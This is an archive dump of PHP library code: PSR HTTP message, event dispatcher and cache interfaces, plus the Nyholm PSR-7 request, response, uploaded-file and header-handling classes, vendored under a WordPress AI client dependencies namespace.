* @return string The URI host.
*/
public function getHost(): string;
/**
* Retrieve the port component of the URI.
*
* If a port is present, and it is non-standard for the current scheme,
* this method MUST return it as an integer. If the port is the standard port
* used with the current scheme, this method SHOULD return null.
*
* If no port is present, and no scheme is present, this method MUST return
* a null value.
*
* If no port is present, but a scheme is present, this method MAY return
* the standard port for that scheme, but SHOULD return null.
*
* @return null|int The URI port.
*/
public function getPort(): ?int;
/**
* Retrieve the path component of the URI.
*
* The path can either be empty or absolute (starting with a slash) or
* rootless (not starting with a slash). Implementations MUST support all
* three syntaxes.
*
* Normally, the empty path "" and absolute path "/" are considered equal as
* defined in RFC 7230 Section 2.7.3. But this method MUST NOT automatically
* do this normalization because in contexts with a trimmed base path, e.g.
* the front controller, this difference becomes significant. It's the task
* of the user to handle both "" and "/".
*
* The value returned MUST be percent-encoded, but MUST NOT double-encode
* any characters. To determine what characters to encode, please refer to
* RFC 3986, Sections 2 and 3.3.
*
* As an example, if the value should include a slash ("/") not intended as
* delimiter between path segments, that value MUST be passed in encoded
* form (e.g., "%2F") to the instance.
*
* @see https://tools.ietf.org/html/rfc3986#section-2
* @see https://tools.ietf.org/html/rfc3986#section-3.3
* @return string The URI path.
*/
public function getPath(): string;
/**
* Retrieve the query string of the URI.
*
* If no query string is present, this method MUST return an empty string.
*
* The leading "?" character is not part of the query and MUST NOT be
* added.
*
* The value returned MUST be percent-encoded, but MUST NOT double-encode
* any characters. To determine what characters to encode, please refer to
* RFC 3986, Sections 2 and 3.4.
*
* As an example, if a value in a key/value pair of the query string should
* include an ampersand ("&") not intended as a delimiter between values,
* that value MUST be passed in encoded form (e.g., "%26") to the instance.
*
* @see https://tools.ietf.org/html/rfc3986#section-2
* @see https://tools.ietf.org/html/rfc3986#section-3.4
* @return string The URI query string.
*/
public function getQuery(): string;
/**
* Retrieve the fragment component of the URI.
*
* If no fragment is present, this method MUST return an empty string.
*
* The leading "#" character is not part of the fragment and MUST NOT be
* added.
*
* The value returned MUST be percent-encoded, but MUST NOT double-encode
* any characters. To determine what characters to encode, please refer to
* RFC 3986, Sections 2 and 3.5.
*
* @see https://tools.ietf.org/html/rfc3986#section-2
* @see https://tools.ietf.org/html/rfc3986#section-3.5
* @return string The URI fragment.
*/
public function getFragment(): string;
/**
* Return an instance with the specified scheme.
*
* This method MUST retain the state of the current instance, and return
* an instance that contains the specified scheme.
*
* Implementations MUST support the schemes "http" and "https" case
* insensitively, and MAY accommodate other schemes if required.
*
* An empty scheme is equivalent to removing the scheme.
*
* @param string $scheme The scheme to use with the new instance.
* @return static A new instance with the specified scheme.
* @throws \InvalidArgumentException for invalid or unsupported schemes.
*/
public function withScheme(string $scheme): UriInterface;
/**
* Return an instance with the specified user information.
*
* This method MUST retain the state of the current instance, and return
* an instance that contains the specified user information.
*
* Password is optional, but the user information MUST include the
* user; an empty string for the user is equivalent to removing user
* information.
*
* @param string $user The user name to use for authority.
* @param null|string $password The password associated with $user.
* @return static A new instance with the specified user information.
*/
public function withUserInfo(string $user, ?string $password = null): UriInterface;
/**
* Return an instance with the specified host.
*
* This method MUST retain the state of the current instance, and return
* an instance that contains the specified host.
*
* An empty host value is equivalent to removing the host.
*
* @param string $host The hostname to use with the new instance.
* @return static A new instance with the specified host.
* @throws \InvalidArgumentException for invalid hostnames.
*/
public function withHost(string $host): UriInterface;
/**
* Return an instance with the specified port.
*
* This method MUST retain the state of the current instance, and return
* an instance that contains the specified port.
*
* Implementations MUST raise an exception for ports outside the
* established TCP and UDP port ranges.
*
* A null value provided for the port is equivalent to removing the port
* information.
*
* @param null|int $port The port to use with the new instance; a null value
* removes the port information.
* @return static A new instance with the specified port.
* @throws \InvalidArgumentException for invalid ports.
*/
public function withPort(?int $port): UriInterface;
/**
* Return an instance with the specified path.
*
* This method MUST retain the state of the current instance, and return
* an instance that contains the specified path.
*
* The path can either be empty or absolute (starting with a slash) or
* rootless (not starting with a slash). Implementations MUST support all
* three syntaxes.
*
* If the path is intended to be domain-relative rather than path relative then
* it must begin with a slash ("/"). Paths not starting with a slash ("/")
* are assumed to be relative to some base path known to the application or
* consumer.
*
* Users can provide both encoded and decoded path characters.
* Implementations ensure the correct encoding as outlined in getPath().
*
* @param string $path The path to use with the new instance.
* @return static A new instance with the specified path.
* @throws \InvalidArgumentException for invalid paths.
*/
public function withPath(string $path): UriInterface;
/**
* Return an instance with the specified query string.
*
* This method MUST retain the state of the current instance, and return
* an instance that contains the specified query string.
*
* Users can provide both encoded and decoded query characters.
* Implementations ensure the correct encoding as outlined in getQuery().
*
* An empty query string value is equivalent to removing the query string.
*
* @param string $query The query string to use with the new instance.
* @return static A new instance with the specified query string.
* @throws \InvalidArgumentException for invalid query strings.
*/
public function withQuery(string $query): UriInterface;
/**
* Return an instance with the specified URI fragment.
*
* This method MUST retain the state of the current instance, and return
* an instance that contains the specified URI fragment.
*
* Users can provide both encoded and decoded fragment characters.
* Implementations ensure the correct encoding as outlined in getFragment().
*
* An empty fragment value is equivalent to removing the fragment.
*
* @param string $fragment The fragment to use with the new instance.
* @return static A new instance with the specified fragment.
*/
public function withFragment(string $fragment): UriInterface;
/**
* Return the string representation as a URI reference.
*
* Depending on which components of the URI are present, the resulting
* string is either a full URI or relative reference according to RFC 3986,
* Section 4.1. The method concatenates the various components of the URI,
* using the appropriate delimiters:
*
* - If a scheme is present, it MUST be suffixed by ":".
* - If an authority is present, it MUST be prefixed by "//".
* - The path can be concatenated without delimiters. But there are two
* cases where the path has to be adjusted to make the URI reference
* valid as PHP does not allow to throw an exception in __toString():
* - If the path is rootless and an authority is present, the path MUST
* be prefixed by "/".
* - If the path is starting with more than one "/" and no authority is
* present, the starting slashes MUST be reduced to one.
* - If a query is present, it MUST be prefixed by "?".
* - If a fragment is present, it MUST be prefixed by "#".
*
* @see http://tools.ietf.org/html/rfc3986#section-4.1
* @return string
*/
public function __toString(): string;
}
third-party/Psr/Http/Message/UriFactoryInterface.php 0000644 00000000544 15220530455 0016507 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Psr\Http\Message;
interface UriFactoryInterface
{
/**
* Create a new URI.
*
* @param string $uri
*
* @return UriInterface
*
* @throws \InvalidArgumentException If the given URI cannot be parsed.
*/
public function createUri(string $uri = ''): UriInterface;
}
third-party/Psr/EventDispatcher/EventDispatcherInterface.php 0000644 00000000717 15220530455 0020277 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClientDependencies\Psr\EventDispatcher;
/**
* Defines a dispatcher for events.
*/
interface EventDispatcherInterface
{
/**
* Provide all relevant listeners with an event to process.
*
* @param object $event
* The object to process.
*
* @return object
* The Event that was passed, now modified by listeners.
*/
public function dispatch(object $event);
}
third-party/Psr/SimpleCache/CacheInterface.php 0000644 00000011030 15220530455 0015265 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Psr\SimpleCache;
interface CacheInterface
{
/**
* Fetches a value from the cache.
*
* @param string $key The unique key of this item in the cache.
* @param mixed $default Default value to return if the key does not exist.
*
* @return mixed The value of the item from the cache, or $default in case of cache miss.
*
* @throws \Psr\SimpleCache\InvalidArgumentException
* MUST be thrown if the $key string is not a legal value.
*/
public function get($key, $default = null);
/**
* Persists data in the cache, uniquely referenced by a key with an optional expiration TTL time.
*
* @param string $key The key of the item to store.
* @param mixed $value The value of the item to store, must be serializable.
* @param null|int|\DateInterval $ttl Optional. The TTL value of this item. If no value is sent and
* the driver supports TTL then the library may set a default value
* for it or let the driver take care of that.
*
* @return bool True on success and false on failure.
*
* @throws \Psr\SimpleCache\InvalidArgumentException
* MUST be thrown if the $key string is not a legal value.
*/
public function set($key, $value, $ttl = null);
/**
* Delete an item from the cache by its unique key.
*
* @param string $key The unique cache key of the item to delete.
*
* @return bool True if the item was successfully removed. False if there was an error.
*
* @throws \Psr\SimpleCache\InvalidArgumentException
* MUST be thrown if the $key string is not a legal value.
*/
public function delete($key);
/**
* Wipes clean the entire cache's keys.
*
* @return bool True on success and false on failure.
*/
public function clear();
/**
* Obtains multiple cache items by their unique keys.
*
* @param iterable $keys A list of keys that can obtained in a single operation.
* @param mixed $default Default value to return for keys that do not exist.
*
* @return iterable A list of key => value pairs. Cache keys that do not exist or are stale will have $default as value.
*
* @throws \Psr\SimpleCache\InvalidArgumentException
* MUST be thrown if $keys is neither an array nor a Traversable,
* or if any of the $keys are not a legal value.
*/
public function getMultiple($keys, $default = null);
/**
* Persists a set of key => value pairs in the cache, with an optional TTL.
*
* @param iterable $values A list of key => value pairs for a multiple-set operation.
* @param null|int|\DateInterval $ttl Optional. The TTL value of this item. If no value is sent and
* the driver supports TTL then the library may set a default value
* for it or let the driver take care of that.
*
* @return bool True on success and false on failure.
*
* @throws \Psr\SimpleCache\InvalidArgumentException
* MUST be thrown if $values is neither an array nor a Traversable,
* or if any of the $values are not a legal value.
*/
public function setMultiple($values, $ttl = null);
/**
* Deletes multiple cache items in a single operation.
*
* @param iterable $keys A list of string-based keys to be deleted.
*
* @return bool True if the items were successfully removed. False if there was an error.
*
* @throws \Psr\SimpleCache\InvalidArgumentException
* MUST be thrown if $keys is neither an array nor a Traversable,
* or if any of the $keys are not a legal value.
*/
public function deleteMultiple($keys);
/**
* Determines whether an item is present in the cache.
*
* NOTE: It is recommended that has() is only to be used for cache warming type purposes
* and not to be used within your live applications operations for get/set, as this method
* is subject to a race condition where your has() will return true and immediately after,
* another script can remove it making the state of your app out of date.
*
* @param string $key The cache item key.
*
* @return bool
*
* @throws \Psr\SimpleCache\InvalidArgumentException
* MUST be thrown if the $key string is not a legal value.
*/
public function has($key);
}
third-party/Nyholm/Psr7/RequestTrait.php 0000644 00000005741 15220530455 0014271 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClientDependencies\Nyholm\Psr7;
use WordPress\AiClientDependencies\Psr\Http\Message\RequestInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\UriInterface;
/**
* @author Michael Dowling and contributors to guzzlehttp/psr7
* @author Tobias Nyholm <tobias.nyholm@gmail.com>
* @author Martijn van der Ven <martijn@vanderven.se>
*
* @internal should not be used outside of Nyholm/Psr7 as it does not fall under our BC promise
*/
trait RequestTrait
{
/** @var string */
private $method;
/** @var string|null */
private $requestTarget;
/** @var UriInterface|null */
private $uri;
public function getRequestTarget(): string
{
if (null !== $this->requestTarget) {
return $this->requestTarget;
}
if ('' === $target = $this->uri->getPath()) {
$target = '/';
}
if ('' !== $this->uri->getQuery()) {
$target .= '?' . $this->uri->getQuery();
}
return $target;
}
/**
* @return static
*/
public function withRequestTarget($requestTarget): RequestInterface
{
if (!\is_string($requestTarget)) {
throw new \InvalidArgumentException('Request target must be a string');
}
if (\preg_match('#\s#', $requestTarget)) {
throw new \InvalidArgumentException('Invalid request target provided; cannot contain whitespace');
}
$new = clone $this;
$new->requestTarget = $requestTarget;
return $new;
}
public function getMethod(): string
{
return $this->method;
}
/**
* @return static
*/
public function withMethod($method): RequestInterface
{
if (!\is_string($method)) {
throw new \InvalidArgumentException('Method must be a string');
}
$new = clone $this;
$new->method = $method;
return $new;
}
public function getUri(): UriInterface
{
return $this->uri;
}
/**
* @return static
*/
public function withUri(UriInterface $uri, $preserveHost = \false): RequestInterface
{
if ($uri === $this->uri) {
return $this;
}
$new = clone $this;
$new->uri = $uri;
if (!$preserveHost || !$this->hasHeader('Host')) {
$new->updateHostFromUri();
}
return $new;
}
private function updateHostFromUri(): void
{
if ('' === $host = $this->uri->getHost()) {
return;
}
if (null !== $port = $this->uri->getPort()) {
$host .= ':' . $port;
}
if (isset($this->headerNames['host'])) {
$header = $this->headerNames['host'];
} else {
$this->headerNames['host'] = $header = 'Host';
}
// Ensure Host is the first header.
// See: http://tools.ietf.org/html/rfc7230#section-5.4
$this->headers = [$header => [$host]] + $this->headers;
}
}
third-party/Nyholm/Psr7/ServerRequest.php 0000644 00000011715 15220530455 0014452 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClientDependencies\Nyholm\Psr7;
use WordPress\AiClientDependencies\Psr\Http\Message\ServerRequestInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\StreamInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\UploadedFileInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\UriInterface;
/**
* @author Michael Dowling and contributors to guzzlehttp/psr7
* @author Tobias Nyholm <tobias.nyholm@gmail.com>
* @author Martijn van der Ven <martijn@vanderven.se>
*
* @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md
*/
class ServerRequest implements ServerRequestInterface
{
use MessageTrait;
use RequestTrait;
/** @var array */
private $attributes = [];
/** @var array */
private $cookieParams = [];
/** @var array|object|null */
private $parsedBody;
/** @var array */
private $queryParams = [];
/** @var array */
private $serverParams;
/** @var UploadedFileInterface[] */
private $uploadedFiles = [];
/**
* @param string $method HTTP method
* @param string|UriInterface $uri URI
* @param array $headers Request headers
* @param string|resource|StreamInterface|null $body Request body
* @param string $version Protocol version
* @param array $serverParams Typically the $_SERVER superglobal
*/
public function __construct(string $method, $uri, array $headers = [], $body = null, string $version = '1.1', array $serverParams = [])
{
$this->serverParams = $serverParams;
if (!$uri instanceof UriInterface) {
$uri = new Uri($uri);
}
$this->method = $method;
$this->uri = $uri;
$this->setHeaders($headers);
$this->protocol = $version;
\parse_str($uri->getQuery(), $this->queryParams);
if (!$this->hasHeader('Host')) {
$this->updateHostFromUri();
}
// If we got no body, defer initialization of the stream until ServerRequest::getBody()
if ('' !== $body && null !== $body) {
$this->stream = Stream::create($body);
}
}
public function getServerParams(): array
{
return $this->serverParams;
}
public function getUploadedFiles(): array
{
return $this->uploadedFiles;
}
/**
* @return static
*/
public function withUploadedFiles(array $uploadedFiles): ServerRequestInterface
{
$new = clone $this;
$new->uploadedFiles = $uploadedFiles;
return $new;
}
public function getCookieParams(): array
{
return $this->cookieParams;
}
/**
* @return static
*/
public function withCookieParams(array $cookies): ServerRequestInterface
{
$new = clone $this;
$new->cookieParams = $cookies;
return $new;
}
public function getQueryParams(): array
{
return $this->queryParams;
}
/**
* @return static
*/
public function withQueryParams(array $query): ServerRequestInterface
{
$new = clone $this;
$new->queryParams = $query;
return $new;
}
/**
* @return array|object|null
*/
public function getParsedBody()
{
return $this->parsedBody;
}
/**
* @return static
*/
public function withParsedBody($data): ServerRequestInterface
{
if (!\is_array($data) && !\is_object($data) && null !== $data) {
throw new \InvalidArgumentException('First parameter to withParsedBody MUST be object, array or null');
}
$new = clone $this;
$new->parsedBody = $data;
return $new;
}
public function getAttributes(): array
{
return $this->attributes;
}
/**
* @return mixed
*/
public function getAttribute($attribute, $default = null)
{
if (!\is_string($attribute)) {
throw new \InvalidArgumentException('Attribute name must be a string');
}
if (\false === \array_key_exists($attribute, $this->attributes)) {
return $default;
}
return $this->attributes[$attribute];
}
/**
* @return static
*/
public function withAttribute($attribute, $value): ServerRequestInterface
{
if (!\is_string($attribute)) {
throw new \InvalidArgumentException('Attribute name must be a string');
}
$new = clone $this;
$new->attributes[$attribute] = $value;
return $new;
}
/**
* @return static
*/
public function withoutAttribute($attribute): ServerRequestInterface
{
if (!\is_string($attribute)) {
throw new \InvalidArgumentException('Attribute name must be a string');
}
if (\false === \array_key_exists($attribute, $this->attributes)) {
return $this;
}
$new = clone $this;
unset($new->attributes[$attribute]);
return $new;
}
}
third-party/Nyholm/Psr7/UploadedFile.php 0000644 00000012650 15220530455 0014167 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClientDependencies\Nyholm\Psr7;
use WordPress\AiClientDependencies\Psr\Http\Message\StreamInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\UploadedFileInterface;
/**
* @author Michael Dowling and contributors to guzzlehttp/psr7
* @author Tobias Nyholm <tobias.nyholm@gmail.com>
* @author Martijn van der Ven <martijn@vanderven.se>
*
* @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md
*/
class UploadedFile implements UploadedFileInterface
{
/** @var array */
private const ERRORS = [\UPLOAD_ERR_OK => 1, \UPLOAD_ERR_INI_SIZE => 1, \UPLOAD_ERR_FORM_SIZE => 1, \UPLOAD_ERR_PARTIAL => 1, \UPLOAD_ERR_NO_FILE => 1, \UPLOAD_ERR_NO_TMP_DIR => 1, \UPLOAD_ERR_CANT_WRITE => 1, \UPLOAD_ERR_EXTENSION => 1];
/** @var string */
private $clientFilename;
/** @var string */
private $clientMediaType;
/** @var int */
private $error;
/** @var string|null */
private $file;
/** @var bool */
private $moved = \false;
/** @var int */
private $size;
/** @var StreamInterface|null */
private $stream;
/**
* @param StreamInterface|string|resource $streamOrFile
* @param int $size
* @param int $errorStatus
* @param string|null $clientFilename
* @param string|null $clientMediaType
*/
public function __construct($streamOrFile, $size, $errorStatus, $clientFilename = null, $clientMediaType = null)
{
if (\false === \is_int($errorStatus) || !isset(self::ERRORS[$errorStatus])) {
throw new \InvalidArgumentException('Upload file error status must be an integer value and one of the "UPLOAD_ERR_*" constants');
}
if (\false === \is_int($size)) {
throw new \InvalidArgumentException('Upload file size must be an integer');
}
if (null !== $clientFilename && !\is_string($clientFilename)) {
throw new \InvalidArgumentException('Upload file client filename must be a string or null');
}
if (null !== $clientMediaType && !\is_string($clientMediaType)) {
throw new \InvalidArgumentException('Upload file client media type must be a string or null');
}
$this->error = $errorStatus;
$this->size = $size;
$this->clientFilename = $clientFilename;
$this->clientMediaType = $clientMediaType;
if (\UPLOAD_ERR_OK === $this->error) {
// Depending on the value set file or stream variable.
if (\is_string($streamOrFile) && '' !== $streamOrFile) {
$this->file = $streamOrFile;
} elseif (\is_resource($streamOrFile)) {
$this->stream = Stream::create($streamOrFile);
} elseif ($streamOrFile instanceof StreamInterface) {
$this->stream = $streamOrFile;
} else {
throw new \InvalidArgumentException('Invalid stream or file provided for UploadedFile');
}
}
}
/**
* @throws \RuntimeException if is moved or not ok
*/
private function validateActive(): void
{
if (\UPLOAD_ERR_OK !== $this->error) {
throw new \RuntimeException('Cannot retrieve stream due to upload error');
}
if ($this->moved) {
throw new \RuntimeException('Cannot retrieve stream after it has already been moved');
}
}
public function getStream(): StreamInterface
{
$this->validateActive();
if ($this->stream instanceof StreamInterface) {
return $this->stream;
}
if (\false === $resource = @\fopen($this->file, 'r')) {
throw new \RuntimeException(\sprintf('The file "%s" cannot be opened: %s', $this->file, \error_get_last()['message'] ?? ''));
}
return Stream::create($resource);
}
public function moveTo($targetPath): void
{
$this->validateActive();
if (!\is_string($targetPath) || '' === $targetPath) {
throw new \InvalidArgumentException('Invalid path provided for move operation; must be a non-empty string');
}
if (null !== $this->file) {
$this->moved = 'cli' === \PHP_SAPI ? @\rename($this->file, $targetPath) : @\move_uploaded_file($this->file, $targetPath);
if (\false === $this->moved) {
throw new \RuntimeException(\sprintf('Uploaded file could not be moved to "%s": %s', $targetPath, \error_get_last()['message'] ?? ''));
}
} else {
$stream = $this->getStream();
if ($stream->isSeekable()) {
$stream->rewind();
}
if (\false === $resource = @\fopen($targetPath, 'w')) {
throw new \RuntimeException(\sprintf('The file "%s" cannot be opened: %s', $targetPath, \error_get_last()['message'] ?? ''));
}
$dest = Stream::create($resource);
while (!$stream->eof()) {
if (!$dest->write($stream->read(1048576))) {
break;
}
}
$this->moved = \true;
}
}
public function getSize(): int
{
return $this->size;
}
public function getError(): int
{
return $this->error;
}
public function getClientFilename(): ?string
{
return $this->clientFilename;
}
public function getClientMediaType(): ?string
{
return $this->clientMediaType;
}
}
third-party/Nyholm/Psr7/Response.php 0000644 00000010357 15220530455 0013432 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClientDependencies\Nyholm\Psr7;
use WordPress\AiClientDependencies\Psr\Http\Message\ResponseInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\StreamInterface;
/**
* @author Michael Dowling and contributors to guzzlehttp/psr7
* @author Tobias Nyholm <tobias.nyholm@gmail.com>
* @author Martijn van der Ven <martijn@vanderven.se>
*
* @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md
*/
class Response implements ResponseInterface
{
use MessageTrait;
/** @var array Map of standard HTTP status code/reason phrases */
private const PHRASES = [100 => 'Continue', 101 => 'Switching Protocols', 102 => 'Processing', 200 => 'OK', 201 => 'Created', 202 => 'Accepted', 203 => 'Non-Authoritative Information', 204 => 'No Content', 205 => 'Reset Content', 206 => 'Partial Content', 207 => 'Multi-status', 208 => 'Already Reported', 300 => 'Multiple Choices', 301 => 'Moved Permanently', 302 => 'Found', 303 => 'See Other', 304 => 'Not Modified', 305 => 'Use Proxy', 306 => 'Switch Proxy', 307 => 'Temporary Redirect', 400 => 'Bad Request', 401 => 'Unauthorized', 402 => 'Payment Required', 403 => 'Forbidden', 404 => 'Not Found', 405 => 'Method Not Allowed', 406 => 'Not Acceptable', 407 => 'Proxy Authentication Required', 408 => 'Request Time-out', 409 => 'Conflict', 410 => 'Gone', 411 => 'Length Required', 412 => 'Precondition Failed', 413 => 'Request Entity Too Large', 414 => 'Request-URI Too Large', 415 => 'Unsupported Media Type', 416 => 'Requested range not satisfiable', 417 => 'Expectation Failed', 418 => 'I\'m a teapot', 422 => 'Unprocessable Entity', 423 => 'Locked', 424 => 'Failed Dependency', 425 => 'Unordered Collection', 426 => 'Upgrade Required', 428 => 'Precondition Required', 429 => 'Too Many Requests', 431 => 'Request Header Fields Too Large', 451 => 'Unavailable For Legal Reasons', 500 => 'Internal Server Error', 501 => 'Not Implemented', 502 => 'Bad Gateway', 503 => 'Service Unavailable', 504 => 'Gateway Time-out', 505 => 'HTTP Version not supported', 506 => 'Variant Also Negotiates', 507 => 'Insufficient Storage', 508 => 'Loop Detected', 511 => 'Network Authentication Required'];
/** @var string */
private $reasonPhrase = '';
/** @var int */
private $statusCode;
/**
* @param int $status Status code
* @param array $headers Response headers
* @param string|resource|StreamInterface|null $body Response body
* @param string $version Protocol version
* @param string|null $reason Reason phrase (when empty a default will be used based on the status code)
*/
public function __construct(int $status = 200, array $headers = [], $body = null, string $version = '1.1', ?string $reason = null)
{
// If we got no body, defer initialization of the stream until Response::getBody()
if ('' !== $body && null !== $body) {
$this->stream = Stream::create($body);
}
$this->statusCode = $status;
$this->setHeaders($headers);
if (null === $reason && isset(self::PHRASES[$this->statusCode])) {
$this->reasonPhrase = self::PHRASES[$status];
} else {
$this->reasonPhrase = $reason ?? '';
}
$this->protocol = $version;
}
public function getStatusCode(): int
{
return $this->statusCode;
}
public function getReasonPhrase(): string
{
return $this->reasonPhrase;
}
/**
* @return static
*/
public function withStatus($code, $reasonPhrase = ''): ResponseInterface
{
if (!\is_int($code) && !\is_string($code)) {
throw new \InvalidArgumentException('Status code has to be an integer');
}
$code = (int) $code;
if ($code < 100 || $code > 599) {
throw new \InvalidArgumentException(\sprintf('Status code has to be an integer between 100 and 599. A status code of %d was given', $code));
}
$new = clone $this;
$new->statusCode = $code;
if ((null === $reasonPhrase || '' === $reasonPhrase) && isset(self::PHRASES[$new->statusCode])) {
$reasonPhrase = self::PHRASES[$new->statusCode];
}
$new->reasonPhrase = $reasonPhrase;
return $new;
}
}
third-party/Nyholm/Psr7/Request.php 0000644 00000002740 15220530455 0013261 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClientDependencies\Nyholm\Psr7;
use WordPress\AiClientDependencies\Psr\Http\Message\RequestInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\StreamInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\UriInterface;
/**
* @author Tobias Nyholm <tobias.nyholm@gmail.com>
* @author Martijn van der Ven <martijn@vanderven.se>
*
* @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md
*/
class Request implements RequestInterface
{
use MessageTrait;
use RequestTrait;
/**
* @param string $method HTTP method
* @param string|UriInterface $uri URI
* @param array $headers Request headers
* @param string|resource|StreamInterface|null $body Request body
* @param string $version Protocol version
*/
public function __construct(string $method, $uri, array $headers = [], $body = null, string $version = '1.1')
{
if (!$uri instanceof UriInterface) {
$uri = new Uri($uri);
}
$this->method = $method;
$this->uri = $uri;
$this->setHeaders($headers);
$this->protocol = $version;
if (!$this->hasHeader('Host')) {
$this->updateHostFromUri();
}
// If we got no body, defer initialization of the stream until Request::getBody()
if ('' !== $body && null !== $body) {
$this->stream = Stream::create($body);
}
}
}
third-party/Nyholm/Psr7/MessageTrait.php 0000644 00000016452 15220530455 0014226 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClientDependencies\Nyholm\Psr7;
use WordPress\AiClientDependencies\Psr\Http\Message\MessageInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\StreamInterface;
/**
* Trait implementing functionality common to requests and responses.
*
* @author Michael Dowling and contributors to guzzlehttp/psr7
* @author Tobias Nyholm <tobias.nyholm@gmail.com>
* @author Martijn van der Ven <martijn@vanderven.se>
*
* @internal should not be used outside of Nyholm/Psr7 as it does not fall under our BC promise
*/
trait MessageTrait
{
/** @var array Map of all registered headers, as original name => array of values */
private $headers = [];
/** @var array Map of lowercase header name => original name at registration */
private $headerNames = [];
/** @var string */
private $protocol = '1.1';
/** @var StreamInterface|null */
private $stream;
public function getProtocolVersion(): string
{
return $this->protocol;
}
/**
* @return static
*/
public function withProtocolVersion($version): MessageInterface
{
if (!\is_scalar($version)) {
throw new \InvalidArgumentException('Protocol version must be a string');
}
if ($this->protocol === $version) {
return $this;
}
$new = clone $this;
$new->protocol = (string) $version;
return $new;
}
public function getHeaders(): array
{
return $this->headers;
}
public function hasHeader($header): bool
{
return isset($this->headerNames[\strtr($header, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz')]);
}
public function getHeader($header): array
{
if (!\is_string($header)) {
throw new \InvalidArgumentException('Header name must be an RFC 7230 compatible string');
}
$header = \strtr($header, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz');
if (!isset($this->headerNames[$header])) {
return [];
}
$header = $this->headerNames[$header];
return $this->headers[$header];
}
public function getHeaderLine($header): string
{
return \implode(', ', $this->getHeader($header));
}
/**
* @return static
*/
public function withHeader($header, $value): MessageInterface
{
$value = $this->validateAndTrimHeader($header, $value);
$normalized = \strtr($header, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz');
$new = clone $this;
if (isset($new->headerNames[$normalized])) {
unset($new->headers[$new->headerNames[$normalized]]);
}
$new->headerNames[$normalized] = $header;
$new->headers[$header] = $value;
return $new;
}
/**
* @return static
*/
public function withAddedHeader($header, $value): MessageInterface
{
if (!\is_string($header) || '' === $header) {
throw new \InvalidArgumentException('Header name must be an RFC 7230 compatible string');
}
$new = clone $this;
$new->setHeaders([$header => $value]);
return $new;
}
/**
* @return static
*/
public function withoutHeader($header): MessageInterface
{
if (!\is_string($header)) {
throw new \InvalidArgumentException('Header name must be an RFC 7230 compatible string');
}
$normalized = \strtr($header, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz');
if (!isset($this->headerNames[$normalized])) {
return $this;
}
$header = $this->headerNames[$normalized];
$new = clone $this;
unset($new->headers[$header], $new->headerNames[$normalized]);
return $new;
}
public function getBody(): StreamInterface
{
if (null === $this->stream) {
$this->stream = Stream::create('');
}
return $this->stream;
}
/**
* @return static
*/
public function withBody(StreamInterface $body): MessageInterface
{
if ($body === $this->stream) {
return $this;
}
$new = clone $this;
$new->stream = $body;
return $new;
}
private function setHeaders(array $headers): void
{
foreach ($headers as $header => $value) {
if (\is_int($header)) {
// If a header name was set to a numeric string, PHP will cast the key to an int.
// We must cast it back to a string in order to comply with validation.
$header = (string) $header;
}
$value = $this->validateAndTrimHeader($header, $value);
$normalized = \strtr($header, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz');
if (isset($this->headerNames[$normalized])) {
$header = $this->headerNames[$normalized];
$this->headers[$header] = \array_merge($this->headers[$header], $value);
} else {
$this->headerNames[$normalized] = $header;
$this->headers[$header] = $value;
}
}
}
/**
* Make sure the header complies with RFC 7230.
*
* Header names must be a non-empty string consisting of token characters.
*
* Header values must be strings consisting of visible characters with all optional
* leading and trailing whitespace stripped. This method will always strip such
* optional whitespace. Note that the method does not allow folding whitespace within
* the values as this was deprecated for almost all instances by the RFC.
*
* header-field = field-name ":" OWS field-value OWS
* field-name = 1*( "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "." / "^"
* / "_" / "`" / "|" / "~" / %x30-39 / ( %x41-5A / %x61-7A ) )
* OWS = *( SP / HTAB )
* field-value = *( ( %x21-7E / %x80-FF ) [ 1*( SP / HTAB ) ( %x21-7E / %x80-FF ) ] )
*
* @see https://tools.ietf.org/html/rfc7230#section-3.2.4
*/
private function validateAndTrimHeader($header, $values): array
{
if (!\is_string($header) || 1 !== \preg_match("@^[!#\$%&'*+.^_`|~0-9A-Za-z-]+\$@D", $header)) {
throw new \InvalidArgumentException('Header name must be an RFC 7230 compatible string');
}
if (!\is_array($values)) {
// This is simple, just one value.
if (!\is_numeric($values) && !\is_string($values) || 1 !== \preg_match("@^[ \t!-~\x80-\xff]*\$@", (string) $values)) {
throw new \InvalidArgumentException('Header values must be RFC 7230 compatible strings');
}
return [\trim((string) $values, " \t")];
}
if (empty($values)) {
throw new \InvalidArgumentException('Header values must be a string or an array of strings, empty array given');
}
// Assert Non empty array
$returnValues = [];
foreach ($values as $v) {
if (!\is_numeric($v) && !\is_string($v) || 1 !== \preg_match("@^[ \t!-~\x80-\xff]*\$@D", (string) $v)) {
throw new \InvalidArgumentException('Header values must be RFC 7230 compatible strings');
}
$returnValues[] = \trim((string) $v, " \t");
}
return $returnValues;
}
}
